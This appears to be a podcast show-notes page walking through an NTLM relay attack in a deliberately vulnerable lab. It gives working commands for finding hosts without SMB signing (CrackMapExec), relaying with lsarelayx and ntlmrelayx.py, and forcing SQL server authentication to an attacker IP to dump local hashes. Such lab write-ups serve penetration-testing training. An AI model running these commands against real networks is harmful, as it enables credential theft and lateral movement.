7MS #570: How to Build a Vulnerable Pentest Lab - Part 4
SafePass.me is the only enterprise solution to protect organizations against credential stuffing and password spraying attacks. Visit safepass.me for more details, and tell them 7 Minute Security sent you to get a 10% discount!
In today's episode we staged an NTLM relay attack using a vulnerable SQL server.
First we used CrackMapExec (see our two part series on Cracking and Mapping and Execing with CrackMapExec - part 1 / part 2) to find hosts with SMB signing disabled:
cme smb x.x.x.x/24 -u USER -p PASS --gen-relay-list smbsigning.txtThen we setup lsarelayx in one window:
lsarelayx --host=localhostAnd in a second window we ran ntlmrelayx.py:
python ntlmrelayx.py -smb2support --no-smb-server -t smb://VICTIMFinally, in a third window we triggered authentication from the vulnerable SQL server:
Invoke-SQLUncPathInjection -verbose -captureip OUR.ATTACKING.IP.ADDRESSBoom! Watch the local usernames and hashes fall out of the victim system.
We also tried doing a multirelay scenario where we had a list of victim hosts in a targets.txt file like this:
victim1 victim2 victim3Then we tweaked the ntlmrelayx command slightly:
python ntlmrelayx.py -smb2support --no-smb-server -tf targets.txtInterestingly(?) only victim2 was attacked.
Lastly, we ran the same attack but added the -socks option to establish SOCKS connections upon successful relay:
python ntlmrelayx.py -smb2support --no-smb-server -tf targets.txt -socksInterestingly(?) we got a low-priv user to relay and setup a SOCKS connection, but not the domain admin configured on the SQL server.
TLDR/TLDL: relaying credentials to a single victim with ntlmrelay on a Windows hosts seems to work great! Your milage may vary if you try to pull off more advanced tricks with ntlmrelay.
Create your
podcast in
minutes
It is Free